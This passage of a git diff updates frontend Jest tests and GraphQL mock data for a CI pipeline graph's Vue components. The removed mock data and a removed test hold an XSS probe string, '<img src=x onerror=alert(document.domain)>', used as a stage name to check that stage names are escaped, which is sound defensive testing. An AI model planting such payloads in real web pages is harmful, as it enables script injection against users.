- downstreamBtnWrapper.vm.$nextTick(() => {
- expect(wrapper.emitted().onClickTriggered).toEqual([store.state.pipeline.triggered]);
- });
- });
- });
-
- describe('with expanded pipeline', () => {
- it('should render expanded pipeline', done => {
- // expand the pipeline
- store.state.pipeline.triggered[0].isExpanded = true;
-
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: store.state.pipeline,
- mediator,
- },
- });
-
- Vue.nextTick()
- .then(() => {
- expect(wrapper.find('.js-downstream-pipeline-34993051')).not.toBeNull();
- })
- .then(done)
- .catch(done.fail);
- });
- });
-
- describe('when column requests a refresh', () => {
- beforeEach(() => {
- findStageColumnAt(0).vm.$emit('refreshPipelineGraph');
- });
-
- it('refreshPipelineGraph is emitted', () => {
- expect(wrapper.emitted().refreshPipelineGraph).toHaveLength(1);
- });
- });
+ it('refreshPipelineGraph is emitted', () => {
+ expect(wrapper.emitted().refreshPipelineGraph).toHaveLength(1);
});
});
});
describe('when linked pipelines are not present', () => {
beforeEach(() => {
- const pipeline = Object.assign(linkedPipelineJSON, { triggered: null, triggered_by: null });
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline,
- mediator,
- },
- });
+ createComponent({ mountFn: mount });
});
- describe('rendered output', () => {
- it('should include the first column with a no margin', () => {
- const firstColumn = wrapper.find('.stage-column');
-
- expect(firstColumn.classes('no-margin')).toBe(true);
- });
-
- it('should not render a linked pipelines column', () => {
- expect(wrapper.find('.linked-pipelines-column').exists()).toBe(false);
- });
- });
-
- describe('stageConnectorClass', () => {
- it('it returns no-margin when no triggerer and there is one job', () => {
- expect(findStageColumnAt(0).classes('no-margin')).toBe(true);
- });
-
- it('it returns left-margin when no triggerer and not the first stage', () => {
- expect(findStageColumnAt(1).classes('left-margin')).toBe(true);
- });
+ it('should not render a linked pipelines column', () => {
+ expect(findLinkedColumns()).toHaveLength(0);
});
});
- describe('capitalizeStageName', () => {
- it('capitalizes and escapes stage name', () => {
- wrapper = mount(graphComponent, {
- propsData: {
- isLoading: false,
- pipeline: graphJSON,
- mediator,
- },
+ describe('when linked pipelines are present', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mount,
+ props: { pipeline: pipelineWithUpstreamDownstream(mockPipelineResponse) },
});
+ });
- expect(findStageColumnAt(1).props('title')).toEqual(
- 'Deploy &lt;img src=x onerror=alert(document.domain)&gt;',
- );
+ it('should render linked pipelines columns', () => {
+ expect(findLinkedColumns()).toHaveLength(2);
});
});
});
diff --git a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
new file mode 100644
index 00000000000..875aaa48037
--- /dev/null
+++ b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
@@ -0,0 +1,124 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import { shallowMount } from '@vue/test-utils';
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import PipelineGraphWrapper from '~/pipelines/components/graph/graph_component_wrapper.vue';
+import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
+import getPipelineDetails from '~/pipelines/graphql/queries/get_pipeline_details.query.graphql';
+import { mockPipelineResponse } from './mock_data';
+
+const defaultProvide = {
+ pipelineProjectPath: 'frog/amphibirama',
+ pipelineIid: '22',
+};
+
+describe('Pipeline graph wrapper', () => {
+ Vue.use(VueApollo);
+
+ let wrapper;
+ const getAlert = () => wrapper.find(GlAlert);
+ const getLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const getGraph = () => wrapper.find(PipelineGraph);
+
+ const createComponent = ({
+ apolloProvider,
+ data = {},
+ provide = defaultProvide,
+ mountFn = shallowMount,
+ } = {}) => {
+ wrapper = mountFn(PipelineGraphWrapper, {
+ provide,
+ apolloProvider,
+ data() {
+ return {
+ ...data,
+ };
+ },
+ });
+ };
+
+ const createComponentWithApollo = (
+ getPipelineDetailsHandler = jest.fn().mockResolvedValue(mockPipelineResponse),
+ ) => {
+ const requestHandlers = [[getPipelineDetails, getPipelineDetailsHandler]];
+
+ const apolloProvider = createMockApollo(requestHandlers);
+ createComponent({ apolloProvider });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when data is loading', () => {
+ it('displays the loading icon', () => {
+ createComponentWithApollo();
+ expect(getLoadingIcon().exists()).toBe(true);
+ });
+
+ it('does not display the alert', () => {
+ createComponentWithApollo();
+ expect(getAlert().exists()).toBe(false);
+ });
+
+ it('does not display the graph', () => {
+ createComponentWithApollo();
+ expect(getGraph().exists()).toBe(false);
+ });
+ });
+
+ describe('when data has loaded', () => {
+ beforeEach(async () => {
+ createComponentWithApollo();
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not display the loading icon', () => {
+ expect(getLoadingIcon().exists()).toBe(false);
+ });
+
+ it('does not display the alert', () => {
+ expect(getAlert().exists()).toBe(false);
+ });
+
+ it('displays the graph', () => {
+ expect(getGraph().exists()).toBe(true);
+ });
+ });
+
+ describe('when there is an error', () => {
+ beforeEach(async () => {
+ createComponentWithApollo(jest.fn().mockRejectedValue(new Error('GraphQL error')));
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not display the loading icon', () => {
+ expect(getLoadingIcon().exists()).toBe(false);
+ });
+
+ it('displays the alert', () => {
+ expect(getAlert().exists()).toBe(true);
+ });
+
+ it('does not display the graph', () => {
+ expect(getGraph().exists()).toBe(false);
+ });
+ });
+
+ describe('when refresh action is emitted', () => {
+ beforeEach(async () => {
+ createComponentWithApollo();
+ jest.spyOn(wrapper.vm.$apollo.queries.pipeline, 'refetch');
+ await wrapper.vm.$nextTick();
+ getGraph().vm.$emit('refreshPipelineGraph');
+ });
+
+ it('calls refetch', () => {
+ expect(wrapper.vm.$apollo.queries.pipeline.refetch).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/graph/linked_pipeline_spec.js b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
index 67986ca7739..fb005d628a9 100644
--- a/spec/frontend/pipelines/graph/linked_pipeline_spec.js
+++ b/spec/frontend/pipelines/graph/linked_pipeline_spec.js
@@ -17,7 +17,7 @@ describe('Linked pipeline', () => {
const findLinkedPipeline = () => wrapper.find({ ref: 'linkedPipeline' });
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findPipelineLink = () => wrapper.find('[data-testid="pipelineLink"]');
- const findExpandButton = () => wrapper.find('[data-testid="expandPipelineButton"]');
+ const findExpandButton = () => wrapper.find('[data-testid="expand-pipeline-button"]');
const createWrapper = (propsData, data = []) => {
wrapper = mount(LinkedPipelineComponent, {
@@ -40,20 +40,13 @@ describe('Linked pipeline', () => {
projectId: invalidTriggeredPipelineId,
columnTitle: 'Downstream',
type: DOWNSTREAM,
+ expanded: false,
};
beforeEach(() => {
createWrapper(props);
});
- it('should render a list item as the containing element', () => {
- expect(wrapper.element.tagName).toBe('LI');
- });
-
- it('should render a button', () => {
- expect(findButton().exists()).toBe(true);
- });
-
it('should render the project name', () => {
expect(wrapper.text()).toContain(props.pipeline.project.name);
});
@@ -105,12 +98,14 @@ describe('Linked pipeline', () => {
projectId: validTriggeredPipelineId,
columnTitle: 'Downstream',
type: DOWNSTREAM,
+ expanded: false,
};
const upstreamProps = {
...downstreamProps,
columnTitle: 'Upstream',
type: UPSTREAM,
+ expanded: false,
};
it('parent/child label container should exist', () => {
@@ -173,7 +168,7 @@ describe('Linked pipeline', () => {
`(
'$pipelineType.columnTitle pipeline button icon should be $anglePosition if expanded state is $expanded',
({ pipelineType, anglePosition, expanded }) => {
- createWrapper(pipelineType, { expanded });
+ createWrapper({ ...pipelineType, expanded });
expect(findExpandButton().props('icon')).toBe(anglePosition);
},
);
@@ -185,6 +180,7 @@ describe('Linked pipeline', () => {
projectId: invalidTriggeredPipelineId,
columnTitle: 'Downstream',
type: DOWNSTREAM,
+ expanded: false,
};
beforeEach(() => {
@@ -202,6 +198,7 @@ describe('Linked pipeline', () => {
projectId: validTriggeredPipelineId,
columnTitle: 'Downstream',
type: DOWNSTREAM,
+ expanded: false,
};
beforeEach(() => {
@@ -219,10 +216,7 @@ describe('Linked pipeline', () => {
jest.spyOn(wrapper.vm.$root, '$emit');
findButton().trigger('click');
- expect(wrapper.vm.$root.$emit.mock.calls[0]).toEqual([
- 'bv::hide::tooltip',
- 'js-linked-pipeline-34993051',
- ]);
+ expect(wrapper.vm.$root.$emit.mock.calls[0]).toEqual(['bv::hide::tooltip']);
});
it('should emit downstreamHovered with job name on mouseover', () => {
diff --git a/spec/frontend/pipelines/graph/linked_pipelines_column_legacy_spec.js b/spec/frontend/pipelines/graph/linked_pipelines_column_legacy_spec.js
new file mode 100644
index 00000000000..b6c700c65d2
--- /dev/null
+++ b/spec/frontend/pipelines/graph/linked_pipelines_column_legacy_spec.js
@@ -0,0 +1,40 @@
+import { shallowMount } from '@vue/test-utils';
+import LinkedPipelinesColumnLegacy from '~/pipelines/components/graph/linked_pipelines_column_legacy.vue';
+import LinkedPipeline from '~/pipelines/components/graph/linked_pipeline.vue';
+import { UPSTREAM } from '~/pipelines/components/graph/constants';
+import mockData from './linked_pipelines_mock_data';
+
+describe('Linked Pipelines Column', () => {
+ const propsData = {
+ columnTitle: 'Upstream',
+ linkedPipelines: mockData.triggered,
+ graphPosition: 'right',
+ projectId: 19,
+ type: UPSTREAM,
+ };
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = shallowMount(LinkedPipelinesColumnLegacy, { propsData });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the pipeline orientation', () => {
+ const titleElement = wrapper.find('.linked-pipelines-column-title');
+
+ expect(titleElement.text()).toBe(propsData.columnTitle);
+ });
+
+ it('renders the correct number of linked pipelines', () => {
+ const linkedPipelineElements = wrapper.findAll(LinkedPipeline);
+
+ expect(linkedPipelineElements.length).toBe(propsData.linkedPipelines.length);
+ });
+
+ it('renders cross project triangle when column is upstream', () => {
+ expect(wrapper.find('.cross-project-triangle').exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js b/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
index e6ae3154d1d..37eb5f900dd 100644
--- a/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
+++ b/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
@@ -1,40 +1,120 @@
-import { shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import { mount, shallowMount, createLocalVue } from '@vue/test-utils';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
+import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
import LinkedPipelinesColumn from '~/pipelines/components/graph/linked_pipelines_column.vue';
import LinkedPipeline from '~/pipelines/components/graph/linked_pipeline.vue';
-import { UPSTREAM } from '~/pipelines/components/graph/constants';
-import mockData from './linked_pipelines_mock_data';
+import getPipelineDetails from '~/pipelines/graphql/queries/get_pipeline_details.query.graphql';
+import { DOWNSTREAM, GRAPHQL } from '~/pipelines/components/graph/constants';
+import { LOAD_FAILURE } from '~/pipelines/constants';
+import {
+ mockPipelineResponse,
+ pipelineWithUpstreamDownstream,
+ wrappedPipelineReturn,
+} from './mock_data';
+
+const processedPipeline = pipelineWithUpstreamDownstream(mockPipelineResponse);
describe('Linked Pipelines Column', () => {
- const propsData = {
+ const defaultProps = {
columnTitle: 'Upstream',
- linkedPipelines: mockData.triggered,
- graphPosition: 'right',
- projectId: 19,
- type: UPSTREAM,
+ linkedPipelines: processedPipeline.downstream,
+ type: DOWNSTREAM,
};
+
let wrapper;
+ const findLinkedColumnTitle = () => wrapper.find('[data-testid="linked-column-title"]');
+ const findLinkedPipelineElements = () => wrapper.findAll(LinkedPipeline);
+ const findPipelineGraph = () => wrapper.find(PipelineGraph);
+ const findExpandButton = () => wrapper.find('[data-testid="expand-pipeline-button"]');
- beforeEach(() => {
- wrapper = shallowMount(LinkedPipelinesColumn, { propsData });
- });
+ const localVue = createLocalVue();
+ localVue.use(VueApollo);
+
+ const createComponent = ({ apolloProvider, mountFn = shallowMount, props = {} } = {}) => {
+ wrapper = mountFn(LinkedPipelinesColumn, {
+ apolloProvider,
+ localVue,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ provide: {
+ dataMethod: GRAPHQL,
+ },
+ });
+ };
+
+ const createComponentWithApollo = (
+ mountFn = shallowMount,
+ getPipelineDetailsHandler = jest.fn().mockResolvedValue(wrappedPipelineReturn),
+ ) => {
+ const requestHandlers = [[getPipelineDetails, getPipelineDetailsHandler]];
+
+ const apolloProvider = createMockApollo(requestHandlers);
+ createComponent({ apolloProvider, mountFn });
+ };
afterEach(() => {
wrapper.destroy();
+ wrapper = null;
});
- it('renders the pipeline orientation', () => {
- const titleElement = wrapper.find('.linked-pipelines-column-title');
+ describe('it renders correctly', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders the pipeline title', () => {
+ expect(findLinkedColumnTitle().text()).toBe(defaultProps.columnTitle);
+ });
- expect(titleElement.text()).toBe(propsData.columnTitle);
+ it('renders the correct number of linked pipelines', () => {
+ expect(findLinkedPipelineElements()).toHaveLength(defaultProps.linkedPipelines.length);
+ });
});
- it('renders the correct number of linked pipelines', () => {
- const linkedPipelineElements = wrapper.findAll(LinkedPipeline);
+ describe('click action', () => {
+ const clickExpandButton = async () => {
+ await findExpandButton().trigger('click');
+ await wrapper.vm.$nextTick();
+ };
- expect(linkedPipelineElements.length).toBe(propsData.linkedPipelines.length);
- });
+ const clickExpandButtonAndAwaitTimers = async () => {
+ await clickExpandButton();
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ };
+
+ describe('when successful', () => {
+ beforeEach(() => {
+ createComponentWithApollo(mount);
+ });
+
+ it('toggles the pipeline visibility', async () => {
+ expect(findPipelineGraph().exists()).toBe(false);
+ await clickExpandButtonAndAwaitTimers();
+ expect(findPipelineGraph().exists()).toBe(true);
+ await clickExpandButton();
+ expect(findPipelineGraph().exists()).toBe(false);
+ });
+ });
+
+ describe('on error', () => {
+ beforeEach(() => {
+ createComponentWithApollo(mount, jest.fn().mockRejectedValue(new Error('GraphQL error')));
+ });
+
+ it('emits the error', async () => {
+ await clickExpandButton();
+ expect(wrapper.emitted().error).toEqual([[LOAD_FAILURE]]);
+ });
- it('renders cross project triangle when column is upstream', () => {
- expect(wrapper.find('.cross-project-triangle').exists()).toBe(true);
+ it('does not show the pipeline', async () => {
+ expect(findPipelineGraph().exists()).toBe(false);
+ await clickExpandButtonAndAwaitTimers();
+ expect(findPipelineGraph().exists()).toBe(false);
+ });
+ });
});
});
diff --git a/spec/frontend/pipelines/graph/mock_data.js b/spec/frontend/pipelines/graph/mock_data.js
index a4a5d78f906..d53a11eea0e 100644
--- a/spec/frontend/pipelines/graph/mock_data.js
+++ b/spec/frontend/pipelines/graph/mock_data.js
@@ -1,261 +1,665 @@
-export default {
- id: 123,
- user: {
- name: 'Root',
- username: 'root',
- id: 1,
- state: 'active',
- avatar_url: null,
- web_url: 'http://localhost:3000/root',
- },
- active: false,
- coverage: null,
- path: '/root/ci-mock/pipelines/123',
- details: {
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/pipelines/123',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- },
- duration: 9,
- finished_at: '2017-04-19T14:30:27.542Z',
- stages: [
- {
- name: 'test',
- title: 'test: passed',
- groups: [
- {
- name: 'test',
- size: 1,
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4153',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4153/retry',
- method: 'post',
+import { unwrapPipelineData } from '~/pipelines/components/graph/utils';
+
+export const mockPipelineResponse = {
+ data: {
+ project: {
+ __typename: 'Project',
+ pipeline: {
+ __typename: 'Pipeline',
+ id: 163,
+ iid: '22',
+ downstream: null,
+ upstream: null,
+ stages: {
+ __typename: 'CiStageConnection',
+ nodes: [
+ {
+ __typename: 'CiStage',
+ name: 'build',
+ status: {
+ __typename: 'DetailedStatus',
+ action: null,
},
- },
- jobs: [
- {
- id: 4153,
- name: 'test',
- build_path: '/root/ci-mock/builds/4153',
- retry_path: '/root/ci-mock/builds/4153/retry',
- playable: false,
- created_at: '2017-04-13T09:25:18.959Z',
- updated_at: '2017-04-13T09:25:23.118Z',
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4153',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4153/retry',
- method: 'post',
+ groups: {
+ __typename: 'CiGroupConnection',
+ nodes: [
+ {
+ __typename: 'CiGroup',
+ name: 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1482',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1482/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ ],
+ },
},
- },
- },
- ],
- },
- ],
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/pipelines/123#test',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- },
- path: '/root/ci-mock/pipelines/123#test',
- dropdown_path: '/root/ci-mock/pipelines/123/stage.json?stage=test',
- },
- {
- name: 'deploy <img src=x onerror=alert(document.domain)>',
- title: 'deploy: passed',
- groups: [
- {
- name: 'deploy to production',
- size: 1,
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4166',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4166/retry',
- method: 'post',
- },
- },
- jobs: [
- {
- id: 4166,
- name: 'deploy to production',
- build_path: '/root/ci-mock/builds/4166',
- retry_path: '/root/ci-mock/builds/4166/retry',
- playable: false,
- created_at: '2017-04-19T14:29:46.463Z',
- updated_at: '2017-04-19T14:30:27.498Z',
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4166',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4166/retry',
- method: 'post',
+ {
+ __typename: 'CiGroup',
+ name: 'build_b',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1515',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1515/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ ],
+ },
},
- },
- },
- ],
- },
- {
- name: 'deploy to staging',
- size: 1,
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4159',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4159/retry',
- method: 'post',
+ {
+ __typename: 'CiGroup',
+ name: 'build_c',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_c',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1484',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1484/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ ],
+ },
+ },
+ {
+ __typename: 'CiGroup',
+ name: 'build_d',
+ size: 3,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_d 1/3',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1485',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1485/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 2/3',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1486',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1486/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 3/3',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1487',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1487/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [],
+ },
+ },
+ ],
+ },
+ },
+ ],
},
},
- jobs: [
- {
- id: 4159,
- name: 'deploy to staging',
- build_path: '/root/ci-mock/builds/4159',
- retry_path: '/root/ci-mock/builds/4159/retry',
- playable: false,
- created_at: '2017-04-18T16:32:08.420Z',
- updated_at: '2017-04-18T16:32:12.631Z',
- status: {
- icon: 'status_success',
- text: 'passed',
- label: 'passed',
- group: 'success',
- has_details: true,
- details_path: '/root/ci-mock/builds/4159',
- favicon:
- '/assets/ci_favicons/favicon_status_success-308b4fc054cdd1b68d0865e6cfb7b02e92e3472f201507418f8eddb74ac11a59.png',
- action: {
- icon: 'retry',
- title: 'Retry',
- path: '/root/ci-mock/builds/4159/retry',
- method: 'post',
+ {
+ __typename: 'CiStage',
+ name: 'test',
+ status: {
+ __typename: 'DetailedStatus',
+ action: null,
+ },
+ groups: {
+ __typename: 'CiGroupConnection',
+ nodes: [
+ {
+ __typename: 'CiGroup',
+ name: 'test_a',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'test_a',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1514',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1514/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_c',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ },
+ {
+ __typename: 'CiJob',
+ name:
+ 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
+ {
+ __typename: 'CiGroup',
+ name: 'test_b',
+ size: 2,
+ status: {
+ __typename: 'DetailedStatus',
+ label: 'passed',
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'test_b 1/2',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1489',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1489/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_d 3/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 2/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 1/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ },
+ {
+ __typename: 'CiJob',
+ name:
+ 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ },
+ ],
+ },
+ },
+ {
+ __typename: 'CiJob',
+ name: 'test_b 2/2',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1490',
+ group: 'success',
+ action: {
+ __typename: 'StatusAction',
+ buttonTitle: 'Retry this job',
+ icon: 'retry',
+ path: '/root/abcd-dag/-/jobs/1490/retry',
+ title: 'Retry',
+ },
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_d 3/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 2/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_d 1/3',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ },
+ {
+ __typename: 'CiJob',
+ name:
+ 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
+ {
+ __typename: 'CiGroup',
+ name: 'test_c',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: null,
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'test_c',
+ scheduledAt: null,
+ status: {
+ __typename: 'DetailedStatus',
+ icon: 'status_success',
+ tooltip: null,
+ hasDetails: true,
+ detailsPath: '/root/kinder-pipe/-/pipelines/154',
+ group: 'success',
+ action: null,
+ },
+ needs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'build_c',
+ },
+ {
+ __typename: 'CiJob',
+ name: 'build_b',
+ },
+ {
+ __typename: 'CiJob',
+ name:
+ 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
+ },
+ ],
+ },
+ },
+ ],
+ },
+ },
+ {
+ __typename: 'CiGroup',
+ name: 'test_d',
+ size: 1,
+ status: {
+ __typename: 'DetailedStatus',
+ label: null,
+ group: 'success',
+ icon: 'status_success',
+ },
+ jobs: {
+ __typename: 'CiJobConnection',
+ nodes: [
+ {
+ __typename: 'CiJob',
+ name: 'test_d',
+ scheduledAt: null,
